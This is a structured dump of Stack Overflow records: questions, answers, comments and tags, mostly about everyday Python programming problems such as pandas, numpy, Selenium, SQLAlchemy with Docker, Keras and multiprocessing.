has body: So I'm building an app using C# that requires calling a python script which needs to import numpy. My python version is 3.6 and I am running IronPython 2.7 (64-bit). This is the error I'm getting. "Original error was: cannot import multiarray from numpy.core". Is there any way I can reference Numpy? I've looked everywhere and I genuinely cannot find a solution. The enthought solution is no longer available from previous answers. This is my code. ScriptRuntime scriptRuntime = Python.CreateRuntime(); ScriptEngine scriptEngine = scriptRuntime.GetEngine("py"); var paths = scriptEngine.GetSearchPaths(); paths.Add(@"C:\Users\minhaj\source\Workspaces\Python\PythonProject\env\Lib"); paths.Add(@"C:\Users\minhaj\source\Workspaces\Python\PythonProject\env\Lib\site-packages"); paths.Add(@"C:\Program Files (x86)\IronPython 2.7\Lib"); scriptEngine.SetSearchPaths(paths); dynamic pythonScript = scriptRuntime.UseFile(path); dynamic pythonMethod = pythonScript.hello();
tagged with: ironpython
tagged with: numpy
downvote count: 0
favorite count: 0
tagged with: python
answer count: 0
type: UnansweredQuestion
upvote count: 1
type: Question

http://stackoverflow.com/q/48671309
tagged with: indexing
accepted answer: http://stackoverflow.com/a/48672380
has comment: http://stackoverflow.com/comment/84340759
has body: Is there a way to tell pandas not to index by character columns? My code is A=['a','b','c'] B=[1,2,3] pd.DataFrame(A,B) 0 1 a 2 b 3 c What I want is just two columns so I can do groupby column A. How do I go about doing this? I can do something like this but I would like to skip the column names to gain as much performance as possible. pd.DataFrame({'A':A,'B':B}) A B 0 a 1 1 b 2 2 c 3
tagged with: dataframe
has comment: http://stackoverflow.com/comment/84341145
tagged with: pandas
has comment: http://stackoverflow.com/comment/84340724
answer count: 1
downvote count: 0
favorite count: 0
has title: pandas create dataframe auto index disable
has comment: http://stackoverflow.com/comment/84341411
has comment: http://stackoverflow.com/comment/84341238
has answer: http://stackoverflow.com/a/48672380
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84343014
score: 1
has comment: http://stackoverflow.com/comment/84340943
upvote count: 1
type: Question

http://stackoverflow.com/a/48915060
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48753818
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48753818
has body: Attempts and thoughts I tried to avoid separation of shared library from my python code, since it requires support of at least one more process, and i would have to rewrite some of the library to create new api. As @Lu.nemec kindly noted that: Go has its own runtime, thread management and may not work well with uWSGI which handles threads/processes in a different way Since uWSGI is the problem i started seaching for a solution there. One of the hopes was installing GCCGO uWSGI plugin somehow solve that problem. But even it's hard to install on old OSes, because it lacks of pre-builded plugins and manual build haven't gone very well, it haven't helped, nothing changes, it still freezes. And then i thought that i wan't to disable coroutines and that type of stuff that differs from uWSGI and one of the changes that i am able to do is to set GOMAXPROCS GOMAXPROCS sets the maximum number of CPUs that can be executing simultaneously and returns the previous setting. If n &lt; 1, it does not change the current setting. The number of logical CPUs on the local machine can be queried with NumCPU. This call will go away when the scheduler improves. And it worked like a charm!!! The solution import ( ... "runtime" ) ... //export yourFunc func yourFunc(yourArgs argType) { runtime.GOMAXPROCS(1) ... }

http://stackoverflow.com/comment/84374194
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48671421
has text: @bli will check those out, I've got scripts littered with similar code to break down filepaths & filenames

http://stackoverflow.com/comment/84365797
has text: @its working abhishek. I have entered the path as a normal string and its working. don't know why it didn't work these many days, until I append r. Thanks a lot.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48658713
type: AnswerComment

http://stackoverflow.com/a/48738732
score: 1
has comment: http://stackoverflow.com/comment/84477478
answers question: http://stackoverflow.com/q/48738645
has comment: http://stackoverflow.com/comment/84477378
upvote count: 1
has comment: http://stackoverflow.com/comment/84477236
has body: I do not know if it is the most effcient way, but you can build a index into the data using a dict like: Build Index: def build_index(data): lookup = {} for k in data: orig = k k = k.lower() while k: if k in lookup: lookup[k] = None break lookup[k] = orig k = k[:-1] return lookup Use Index: def findit(value, lookup, data): k = lookup.get(value.lower()) if k is not None: return data[k] Test Code: data = { "Robert": 37, "Kevin": 25, "Mark": 81, } lookup = build_index(data) print(findit('kev', lookup, data)) print(findit('Rob', lookup, data)) Results: 25 37
has comment: http://stackoverflow.com/comment/84477214
type: Answer
downvote count: 0

http://stackoverflow.com/a/48698453
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/113233188
has comment: http://stackoverflow.com/comment/84398438
downvote count: 0
answers question: http://stackoverflow.com/q/48696995
type: Answer
has body: I'd say you have two options: Host the script in the appdeploy/post folder that's mentioned in this article: So when I was looking at the eb-tools.log on the EC2 instance I found it was searching for scripts to run in a /opt/elasticbeanstalk/hooks/appdeploy/post directory after restarting the web server. Turns out if you drop shell scripts into this directory they will be executed post deployment, just like you want! However this directory does not exist by default, as Amazon does not use any post-deploy scripts, so we also need to make sure this directory is created. What I'd do if the first option didn't work out, is to add the code I want to run in the code I'm deploying to that EB and run it as part of the deployment process I am using. For example, if I'm deploying via a batch file on my windows machine I'd do something like: call eb deploy call http://myurl.com/postDeploy

http://stackoverflow.com/comment/84331555
comment on: http://stackoverflow.com/q/48666895
type: Comment
score: 1
has text: It looks like dupe [link](https://stackoverflow.com/q/21608228/2901002)
type: QuestionComment

http://stackoverflow.com/a/58205191
type: Answer
score: 1
has body: Another use case is to want a serif font in math mode, but only for a specific character. A solution is to set the fontset to custom, then set a serif font for only the mathcal (calligraphic) set of characters. Here, I'm also setting the font style to italic: import matplotlib.pyplot as plt plt.rcParams['mathtext.fontset'] = 'custom' plt.rcParams['mathtext.cal'] = 'stix:italic' # changes only the mathcal subfamily Then, get a single serif character (d, here), but keep the rest as the default math font with: plt.ylabel(r'Label ($a^b = \mathcal{d}$)')
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/48646669

http://stackoverflow.com/a/48778484
answers question: http://stackoverflow.com/q/48778342
score: 0
type: Answer
has body: Here is an attempt at cleaning up your code. I have used assert widely for simplicity, but you can equally raise Exception if desired. def weighted_avg(grades, weights): # overall checks assert sum(weights) == 100, "Sum of weights must equal zero: {0}".format(sum(weights)) assert len(grades) == len(weights), "the number of grades must match the number of weights: {0} vs {1}".format(len(grades), len(weights)) # specific checks for b in weights: assert b &gt;= 0, "Each weight must be greater than zero: {0}".format(b) assert b &lt;= 100, "Each weight cannot be more than 100: {0}".format(b) # results itemized_mult = [a*b for a, b in zip(grades, weights)] combined_weight_grade = sum(itemized_mult) output = combined_weight_grade / 100 return itemized_mult, combined_weight_grade, output grades1, weights1 = [88,99,100,70], [30, 30, 35, 5] grades2, weights2 = [78, 75, 80, 99], [90, 10, 0, 0] grades3, weights3 = [84, 80, 67, 97], [50, 25, 25, 0] grades4, weights4 = [100, 80, 90, 75], [20, 25, 25, 30] a = weighted_avg(grades1, weights1) b = weighted_avg(grades2, weights2) c = weighted_avg(grades3, weights3) d = weighted_avg(grades4, weights4) print("List: ", a[0], "Your weighted grade is: ", a[2]) print("List: ", b[0], "Your weighted grade is: ", b[2]) print("List: ", c[0], "Your weighted grade is: ", c[2]) print("List: ", d[0], "Your weighted grade is: ", d[2])
has comment: http://stackoverflow.com/comment/84561452
has comment: http://stackoverflow.com/comment/84567888

http://stackoverflow.com/comment/84497394
score: 0
type: AnswerComment
has text: Thanks! I've updated my code and included a link (my template). I tried to call it with the test sidebar, but it doesn't work. I couldn't quite understand your first suggestion for improvement.
type: Comment
comment on: http://stackoverflow.com/a/48747708

http://stackoverflow.com/q/48732196
upvote count: 3
has answer: http://stackoverflow.com/a/48733210
answer count: 2
tagged with: click
favorite count: 0
tagged with: python
type: AnsweredQuestion
score: 3
possible better answer: http://stackoverflow.com/a/48733210
downvote count: 0
has body: I am scraping some data from this link https://www.vbgov.com/property-search#DetailView=14760123360000. But i am unable to simulate click event on "Sales History &amp; Tax Information" tab using webdriver Selenium and python. driver.get("https://www.vbgov.com/property-search#") searchBox1 = driver.find_element_by_id("consolidated-search-query") searchBox1.send_keys("1124 LUKE DR") searchBox1.send_keys(Keys.ENTER) driver.implicitly_wait(5) link = driver.find_element_by_xpath('//*[@id="property"]/tbody/tr/td[2]/a') link.click() elem = driver.find_element_by_xpath('//*[@id="property-counts"]/h4') tab = driver.find_element_by_partial_link_text("Sales History &amp; Tax Information") tab.click()
accepted answer: http://stackoverflow.com/a/48733377
tagged with: selenium
tagged with: webdriver
has comment: http://stackoverflow.com/comment/84472799
has title: Simulate Click event using selenium in python
type: Question
has answer: http://stackoverflow.com/a/48733377
tagged with: simulate

http://stackoverflow.com/comment/84420814
has text: You have spaces in your strings but it's not in your regex. Your regex, right now, will only match words that consist of 3 or more characters.
comment on: http://stackoverflow.com/q/48710912
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/84550868
score: 0
has text: @zesla if is not numeric I guess you can't do that much.
comment on: http://stackoverflow.com/q/48774420
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84426702
type: Comment
type: QuestionComment
has text: https://stackoverflow.com/questions/35991403/python-pip-install-gives-command-python-setup-py-egg-info-failed-with-error-c Any help?
score: 1
comment on: http://stackoverflow.com/q/48713694

http://stackoverflow.com/comment/85888827
comment on: http://stackoverflow.com/q/48688780
type: Comment
has text: @B_Miner - ping
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84340680
type: Comment
score: 0
has text: We were all new at this, once upon a time. When you get to a resolution, please remember to up-vote useful things and accept your favourite answer (even if you have to write it yourself), so Stack Overflow can properly archive the question.
comment on: http://stackoverflow.com/a/48671174
type: AnswerComment

http://stackoverflow.com/comment/84521495
has text: I actually have a very long code but I cannot share everything here. These are the libraries I use in the code.The code that I wrote is the result,I connect to a server and I perform transactions on that server. However, the operations performed on the server did not record in the .log file.There is not even a file with a .log extension.Is it because of incompatibility between logging and bokeh?Cannot I use logging in bokeh?Please dont get too attached to those from lines. I havent written it in detail.For example: from bokeh.io import curdoc There is a continuation of each,but I didnt write.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48754996
type: Comment

http://stackoverflow.com/a/48722879
has comment: http://stackoverflow.com/comment/84446327
has comment: http://stackoverflow.com/comment/84445016
has body: For the Container[Type] notation to work you would want to create a user-defined generic type: from typing import TypeVar, Generic T = TypeVar('T') class Lazy(Generic[T]): pass You then use def foo(bla, *, dep: Lazy[MyClass]): and Lazy is seen as a container that holds the class. Note: this still means the IDE sees dep as an object of type Lazy. Lazy is a container type here, holding an object of type MyClass. Your IDE won't auto-complete for the MyClass type, you can't use it that way. The notation also doesn't create an instance of the Lazy class; it creates an instance of the (private) typing._GenericAlias class instead. This instance has an attribute __args__ to let you introspect the subscription arguments: &gt;&gt;&gt; a = Lazy[str] &gt;&gt;&gt; type(a) &lt;class 'typing._GenericAlias'&gt; &gt;&gt;&gt; a.__args__ (&lt;class 'str'&gt;,) but it's better to use the typing.get_args() function; this function handles a few edge cases with specific type hint objects where accessing __args__ would lead to suprising results: &gt;&gt;&gt; from typing import get_args &gt;&gt;&gt; get_args(Lazy[str]) (&lt;class 'str'&gt;,) If all you wanted was to reach into the type annotations at runtime but resolve the name lazily, you could just support a string value: def foo(bla, *, dep: 'MyClass'): This is valid type annotation, and your decorator could resolve the name at runtime by using the typing.get_type_hints() function (at a deferred time, not at decoration time), or by wrapping strings in your lazy() callable at decoration time. If lazy() is meant to flag a type to be treated differently from other type hints, then you are trying to overload the type hint annotations with some other meaning, you want to use the Annotated[type_hint, metadata] annotation to attach extra metadata to the type hint for 3rd party use. E.g. attaching a Lazy annotation to the type hint would look like this: from typing import Annotated def foo(bla, *, dep: Annotated[MyClass, Lazy]): Annotated[type_…
upvote count: 21
has comment: http://stackoverflow.com/comment/84444973
type: Answer
downvote count: 1
has comment: http://stackoverflow.com/comment/84446451
has comment: http://stackoverflow.com/comment/135483565
accepted answer of: http://stackoverflow.com/q/48722835
answers question: http://stackoverflow.com/q/48722835
has comment: http://stackoverflow.com/comment/135514095
has comment: http://stackoverflow.com/comment/84446111
has comment: http://stackoverflow.com/comment/84446175
score: 20
type: AcceptedAnswer

http://stackoverflow.com/comment/84353440
has text: the error for word_tokenize(purex_list) is TypeError: expected string or bytes-like object
comment on: http://stackoverflow.com/q/48677718
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84430485
score: 0
has text: you mean bmp is not in rgb format?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48673309

global
type: Tag
tags question: http://stackoverflow.com/q/48705408
tags question: http://stackoverflow.com/q/48716048
tags question: http://stackoverflow.com/q/48742267
tag name: global
tags question: http://stackoverflow.com/q/48794882
tags question: http://stackoverflow.com/q/48789287
tags question: http://stackoverflow.com/q/48780175

http://stackoverflow.com/a/48713504
has comment: http://stackoverflow.com/comment/84426142
type: Answer
downvote count: 2
score: -2
upvote count: 0
answers question: http://stackoverflow.com/q/48713473
has body: To delete python dictionary entries--- def removekey(d, key): r = dict(d) del r[key] return r

http://stackoverflow.com/a/48728034
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48727798
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48727798
has body: First, your third solution doesn't work as strings isn't changed by multiprocessing part but has been modified by single process part. You can have a check by commenting your single process part. Second, This one will work: import ctypes import multiprocessing as mp import multiprocessing.sharedctypes as mpsc import numpy strings = [mpsc.RawArray(ctypes.c_char, 10) for _ in xrange(4)] def worker(args): snum, lenarg = args string = '%s' % snum string *= lenarg strings[snum].value = string return string # Main progam data = [(i, numpy.random.randint(1,10)) for i in xrange(4)] print 'Multi-process' print "Before: %s" % [item.value for item in strings] pool = mp.Pool(4) pool.map(worker, data) print 'After : %s' % [item.value for item in strings] output: Multi-process Before: ['', '', '', ''] After : ['0000000', '111111', '222', '3333']
type: Answer
has comment: http://stackoverflow.com/comment/84455201
score: 3

http://stackoverflow.com/comment/84472540
comment on: http://stackoverflow.com/a/48735422
has text: Ok I revised the code to include the header and the code runs, however, the line `data = data[~data['col 2'].isin(listfiledata)]` did not exclude the rows. The file remained unchanged. I tested by creating a new file. They are the same. Will revise my question.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84365488
comment on: http://stackoverflow.com/q/48684084
type: Comment
has text: Can you outline a bit clearer what the actual problem is? Is it with one of your scripts or with installing dependencies you need for your script? The only thing I can read out of your question is that something with heroku is not working.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84359128
type: Comment
type: QuestionComment
has text: @ArneRecknagel yeah i was also thinking the same coz it had some float values..if u write this as an answer i'll accept it and upvote it...ur choice
comment on: http://stackoverflow.com/q/48680832
score: 0

http://stackoverflow.com/q/48770884
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48776841
tagged with: sqlalchemy
has comment: http://stackoverflow.com/comment/84587764
type: Question
has comment: http://stackoverflow.com/comment/84569772
has title: How to connect to Postgres database on Docker in Windows 10 using SQLAlchemy?
has answer: http://stackoverflow.com/a/48811018
accepted answer: http://stackoverflow.com/a/48811018
has body: I have set up a temporary Postgres database for test purposes on my computer using Docker and the following commands: 1) sudo docker run --name some-postgres6 -e POSTGRES_PASSWORD=mysecretpassword -p 5430:5432 postgres:9.1 -d postgres 2) sudo docker run -it --rm --link some-postgres6:postgres postgres psql -h postgres -U postgres I want to connect to the database using Python : from sqlalchemy.engine import create_engine import psycopg2 engine = create_engine('postgresql+psycopg2://postgres:mysecretpassword@localhost/mydb?port=5432') ### IMPORTANT!!! connection = engine.connect() Then I'm getting this error: psycopg2.OperationalError: could not connect to server: Connection refused (0x0000274D/10061) Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused (0x0000274D/10061) Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? This same piece of code used to work on my other machine where I was running Ubuntu. I guess this has to do with windows. I am running Windows 10 Home (not experienced with Windows) and using Docker toolbox.
tagged with: docker
tagged with: postgresql
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/48776841
favorite count: 0
has comment: http://stackoverflow.com/comment/84545538
upvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/84624431
score: 2

http://stackoverflow.com/comment/84415776
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48707134
has text: You're so welcome, Yung Lin Ma! Glad I could help. :-)

http://stackoverflow.com/q/48747502
type: Question
has body: I've downloaded a large csv file which uses "," as seperators (without the ""). The current code seems to read in some lines correctly yet some are not splitted by the "," but rather everything is inserted into the first Column ... The problem seems to be that for some of the rows there are additional "," in the Text column hence why there is a " quote before Dr and after .... in Line 3 Is there a way to split the file in order to get the desired output while keeping the "," that are between the two " " in the text column? Example CSV File Name = TwitterData_2017.csv: Username, date, retweets, favorites, text ,2017-01-02,0,0,History makes this very clear .... ,2017-01-02,0,0,S&amp;P reaches new heights .... ,2017-01-02,0,0,"Dr Pepper ,Snapple Group Projection ...." ,2017-01-02,0,0,S&amp;P is going strong .... Code: import pandas as pd import numpy as np rawData = pd.read_csv('TwitterData_2017.csv', sep=",", quotechar='"') print(rawData.head(n=4)) Output: Username Date Retweets favorites text NaN 2017-01-02 0 0 History makes this very clear .... NaN 2017-01-02 0 0 S&amp;P reaches new heights .... ,2017-01-02,0,0,"Dr Pepper ,Snapple Group Projection ...." NaN 2017-01-02 0 0 S&amp;P is going strong .... As you can see the code seems to work for line 1,2 &amp; 4 but fails in Line 3. This seems to be caused by the fact that that column has " in the beginning and end due to there being an extra ",". I'm using Python 3 and running everything through IntelliJ. I would appreciate advice in how I can retrify this and make everything into the same format? Ps: I have other rows that contain multiple "," betweem the two " " in the text column and if possible I would like to neglect those (not split them)
linked to: http://stackoverflow.com/q/26595819
has comment: http://stackoverflow.com/comment/84495468
has answer: http://stackoverflow.com/a/48747852
answer count: 1
score: 0
tagged with: pandas
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84495651
has title: Pandas.read_csv handle exceptions inside of " "
has comment: http://stackoverflow.com/comment/84495436

http://stackoverflow.com/a/48671299
has body: You are feeding a list of strings to a model which is something it does not expect. You can use keras.preprocessing.text module to convert the text to an integer sequence. More specifically you can prepare data like: from keras.preprocessing.text import Tokenizer from keras.preprocessing.sequence import pad_sequences tk = Tokenizer() tk.fit_on_texts(texts) index_list = tk.texts_to_sequences(texts) x_train = pad_sequences(index_list, maxlen=maxlen) Now x_train (a n_samples * maxlen ndarray of type np.int) is a legitimate input for the model.
score: 6
has comment: http://stackoverflow.com/comment/84359143
type: AcceptedAnswer
upvote count: 6
type: Answer
accepted answer of: http://stackoverflow.com/q/48670989
downvote count: 0
answers question: http://stackoverflow.com/q/48670989

http://stackoverflow.com/comment/84566421
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48782529
has text: If you want to emulate what a logging library does, you should check the logging level inside `Logger` and emit escape sequences *only* for Warning messages, *only* to the terminal. This means that the logging level *can't* be part of the message either, it has to be a separate parameter

http://stackoverflow.com/q/48718792
has title: elementwise outer product of tensors using einsum
has body: I have the following two arrays: foo = np.array([1,2,3,4,5,6,7,8,9]) and bar = np.array([k1, k2, k3]) where k1 = np.array([[1],[2]]) k2 = np.array([[4],[6]]) k3 = np.array([[9],[3]]) I want to find the elementwise outer product of each third of foo and bar. In other words foo needs to be rearranged as follows before being fed into np.outer: [array([1, 2, 3]), array([4, 5, 6]), array([7, 8, 9])] Here is what I have done. def elmntwise_outer_prod(arr1, arr2): arr1 = np.split(arr1, 3) out = [np.outer(val1, val2) for val1, val2 in zip(arr1, arr2)] return np.array(out) Now, when I do elmntwise_outer_prod(foo, bar) it gives me the desired output of array([[[ 1, 2], [ 2, 4], [ 3, 6]], [[16, 24], [20, 30], [24, 36]], [[63, 21], [72, 24], [81, 27]]]) Question Is there a better way to do this?. In particular, how can I use np.einsum to write this more efficiently, if at all?. I have read the previous questions that address similar questions but I can't seem to get my head around this. I have also read this blog post RE np.einsum. Any help?
favorite count: 0
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48718901
tagged with: tensor
upvote count: 1
type: Question
score: 1
accepted answer: http://stackoverflow.com/a/48718901
tagged with: numpy
downvote count: 0
answer count: 1
tagged with: numpy-einsum

http://stackoverflow.com/a/48682144
type: Answer
answers question: http://stackoverflow.com/q/48678553
downvote count: 0
score: 1
has body: Another itertools solution: import itertools as it lst = [0, 0, 1, 1, 2, 2, 3, 3, 9, 11] a, b = it.tee(lst) next(b) for i, x in enumerate(it.islice(it.chain(a, b), None, None, 2)): print(x, i) Output 0 0 1 1 2 2 3 3 9 4 0 5 1 6 2 7 3 8 11 9
upvote count: 1

http://stackoverflow.com/comment/84453462
comment on: http://stackoverflow.com/a/48725951
score: 0
has text: Ok, I fixed it! I think I was calling `trainDataGenerator.flow` instead of `testDataGenerator.flow` Thanks for your help! `ImageDataGenerator` seems to be the way to go when running from a directory!
type: Comment
type: AnswerComment

http://stackoverflow.com/a/48710168
type: AcceptedAnswer
upvote count: 1
type: Answer
has body: Here is another way, assuming your date columns are ordered: df['date_of_field_update'] = pd.to_datetime(df['date_of_field_update']) def get_opp_status(df, id, date): stat = df['status_after_update'][df['date_of_field_update'] &lt;= date][df['id'] == id] if len(stat) &gt; 0: return stat.iloc[-1] else: return df['status_prior_to_update'][df['id'] == id].iloc[0] get_opp_status(df, 7426, pd.to_datetime('2019-01-17 16:24:00'))
accepted answer of: http://stackoverflow.com/q/48709718
answers question: http://stackoverflow.com/q/48709718
downvote count: 0
score: 1

django-mongodb-engine
tag name: django-mongodb-engine
type: Tag
tags question: http://stackoverflow.com/q/48730845

http://stackoverflow.com/a/48731339
has body: When saving, blit=True does not make any sense. Remove that. When blit=False, there is no need to return anything, you may hence also remove the return statement completely. If you want to run this animation inside a jupyter notebook with the %matplotlib notebook backend or outside a notebook, you may use blit=True. In that case, return a tuple from the animation, return line,
score: 0
accepted answer of: http://stackoverflow.com/q/48730982
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48730982
has comment: http://stackoverflow.com/comment/84475341

http://stackoverflow.com/q/48720888
tagged with: beautifulsoup
tagged with: python-3.x
tagged with: exception
accepted answer: http://stackoverflow.com/a/48720902
tagged with: python
has comment: http://stackoverflow.com/comment/84440590
score: 1
has answer: http://stackoverflow.com/a/48720902
upvote count: 1
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84440555
has comment: http://stackoverflow.com/comment/84440566
has body: So I have a bunch of links that I want to scrap, but what often happens is that in the middle of the loop (when tried to connect to a random link), suddenly the connection via proxy is failing, the loop is stopped and my program closes. Here is the code: import requests from bs4 import BeautifulSoup as soup #Setting Proxy proxies = {"http": "http://232.454.676.898:8888"} #List Of Links link_strings = ['http://foo1.com','http://foo2.com','http://foo3.com', ... ,'http://foo999.com'] for link in link_strings: url = link uClient = requests.get(url, proxies=proxies) page_html = uClient.text uClient.close() page_soup = soup(page_html, "html.parser") #Do some scrapping So, how to handle this? Should I trying to connect to via proxy until succeed? But how to do that? Or should I run the current loop again? But how to do that?
answer count: 1
downvote count: 0
has title: How to retry the current loop even though the connection via proxy is failed
favorite count: 0

http://stackoverflow.com/comment/84601768
type: AnswerComment
comment on: http://stackoverflow.com/a/48799463
type: Comment
has text: So I only can check `if type(df.a.any()) == str`?
score: 0

http://stackoverflow.com/a/48715405
score: 5
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48714919
answers question: http://stackoverflow.com/q/48714919
has body: You can find the metrics file and their implementation in the Keras github repo. In this case following metric applies: def categorical_accuracy(y_true, y_pred): return K.cast(K.equal(K.argmax(y_true, axis=-1), K.argmax(y_pred, axis=-1)), K.floatx()) This calculates the accuracy of a single (y_true, y_pred) pair by checking if the predicted class is the same as the true class. It does this so comparing the index of the highest scoring class in y_pred vector and the index of the actual class in the y_true vector. It returns 0 or 1. It uses this function to calculate the overall accuracy of the data set, by using the conventional accuracy formula, which is defined as (amount of correct guesses)/(total amount of guesses)
upvote count: 5

http://stackoverflow.com/a/48776189
answers question: http://stackoverflow.com/q/48776120
type: AcceptedAnswer
downvote count: 0
score: 1
has body: this line is very wrong: for line in temp_file.read(): temp_file.read() returns the full file contents. Now line is a character, which explains why literal_eval prints a syntax error on the first [ alone. You want to iterate on the lines, simply: for line in temp_file: line = literal_eval(line) I am aware, that I have to be careful with ast.literal_eval. Is there a more apropriate tool for the job than ast.literal_eval? You're mixing this up with eval() which is unsafe because it evaluates anything, including statements deleting your whole harddrive. ast.literal_eval evalulates only literals, so it's perfectly safe, albeit limited (you cannot pass too complex expressions like multiplications, etc...), but in your case, you just deserialize a dump, so it's a perfect fit. (note that json.loads wouldn't work here because of the single quotes, and the u prefix which is python-specific)
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/48776120

http://stackoverflow.com/q/48712008
downvote count: 0
score: 1
has title: Using python to get data (text) from wix
tagged with: urllib
type: Question
has body: I'm making a python project in which I created a test wix website. I want to get the data (text) from the wix website using urllib so I did url.urlopen(ADDRESS).readlines() the problem is it did not give me anything from the text in the page and only information about the structure of the page in HTML. how would I extricate the requested text information from the website?
tagged with: velo
has answer: http://stackoverflow.com/a/48712090
accepted answer: http://stackoverflow.com/a/48712090
upvote count: 1
answer count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/comment/84414725
has text: On which line you got it?
comment on: http://stackoverflow.com/a/48704421
score: 0
type: AnswerComment
type: Comment

getstream-io
type: Tag
tag name: getstream-io
tags question: http://stackoverflow.com/q/48770556

http://stackoverflow.com/q/48788647
tagged with: python-3.x
type: Question
has comment: http://stackoverflow.com/comment/84579573
has title: Add dot to numeric values after 10'th number
has comment: http://stackoverflow.com/comment/84579011
has comment: http://stackoverflow.com/comment/84578986
possible better answer: http://stackoverflow.com/a/48789103
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/48789103
has body: I have a numeric value that looks like this: mynumber = 2006601400162797 Is there any nice way to modify it so a dot is added after the 10'th number? Like this: 2006601400.162797
favorite count: 0
has answer: http://stackoverflow.com/a/67811616
has answer: http://stackoverflow.com/a/48788739
accepted answer: http://stackoverflow.com/a/48788739
score: -3
tagged with: python
downvote count: 4
type: AnsweredQuestion

http://stackoverflow.com/a/48646429
type: Answer
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/84290207
answers question: http://stackoverflow.com/q/48646319
has body: According to the API documentation http://compras.dados.gov.br/docs/contratos/v1/contratos.html, you can use the valor_inicial_min for this purpose. So can you try this please: url = 'http://compras.dados.gov.br' valor = 100000000.0 url = '{0}/contratos/v1/contratos.json?valor_inicial_min={1}'.format(url, valor) r = requests.get(url) print(r) Hope it helps.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48646319
has comment: http://stackoverflow.com/comment/84290260

http://stackoverflow.com/q/48778701
score: 1
tagged with: sleep
type: Question
linked to: http://stackoverflow.com/q/43771575
tagged with: while-loop
upvote count: 1
linked to: http://stackoverflow.com/q/1133857
answer count: 1
has answer: http://stackoverflow.com/a/48779069
has title: Using python's core.Clock.GetTime() method within a while loop: timing distortions?
tagged with: psychopy
has body: I came across an interesting issue when discussing timing precision on the psychopy forum (psychopy is a psychology software written in python). Here's the problem: timer=core.Clock()#instantiate a clock stimulus.draw()#draw stimulus win.flip()#flip the monitor to make stimulus appear Routine = True While Routine: key_press = event.getKeys(keyList=["f", "j"])#check keyboard's buffer if len(key_press) &gt; 0:#keypress detected! RT = timer.getTime()#record response time Routine = False I've been told that calling getTime() within a while loop can be dangerous : "A very tight loop hogs all the CPU time to itself, choking other processes, which might just eventually break in and seize control for quite a while to get through a backlog, completely mucking up your timing. On each iteration, call something like time.sleep(0.001) to yield time to other processes." I don't see why it would be. Can somebody shed light on this programming issue?
favorite count: 0
linked to: http://stackoverflow.com/q/24072790
tagged with: time
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84559694
tagged with: python
linked to: http://stackoverflow.com/q/13293269
downvote count: 0
linked to: http://stackoverflow.com/q/22365473

http://stackoverflow.com/comment/84442513
score: 0
has text: what is the java version inside the docker image?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48721808

http://stackoverflow.com/q/48677879
tagged with: numbers
has answer: http://stackoverflow.com/a/48677930
answer count: 3
score: 2
downvote count: 0
tagged with: tabular
has comment: http://stackoverflow.com/comment/84353600
favorite count: 0
linked to: http://stackoverflow.com/q/38640791
tagged with: python
has title: Python how to remove whitespace between numbers
upvote count: 2
type: UnansweredQuestion
tagged with: whitespace
has answer: http://stackoverflow.com/a/48678067
has answer: http://stackoverflow.com/a/48678244
type: Question
has body: I have a table with 4 columns with numbers, however in some columns there are whitespaces. When I try to read the table, it produce the error: ValueError: could not convert string to float. I solved this error removing the whitespace by hand, and it works, but I am wondering if Python has some solution in order to remove whitespace between numbers My code to remove whitespace: path = 'C:\Users\laboratorio\Desktop\waveletspy\prueba.txt' path1 = 'C:\Users\laboratorio\Desktop\waveletspy\prueba1.txt' clean_lines = [] with open(path, "r") as f: lines = (line.strip() for line in f.readlines() if len(line.strip())) clean_lines = [l.strip() for l in lines if l.strip()] with open(path2, "w") as f: f.writelines('\n'.join(clean_lines)) The original table: Y 2457620.83012 -0.433 0.004 Y 2457620.83100 -0.439 0.005 Y 2457620.83518 -0.459 0.004 Y 2457620.83600 -0.470 0.005 Y 2457620.83684 -0.498 0.004 Y 2457620.83767 -0.480 0.005 Y 2457620.83851 -0.490 0.005 Y 2457620.83934 -0.516 0.004 I want something like this Y 2457620.83012 -0.433 0.004 Y 2457620.83100 -0.439 0.005 Y 2457620.83518 -0.459 0.004 Y 2457620.83600 -0.470 0.005 Y 2457620.83684 -0.498 0.004 Y 2457620.83767 -0.480 0.005 Y 2457620.83851 -0.490 0.005 Y 2457620.83934 -0.516 0.004

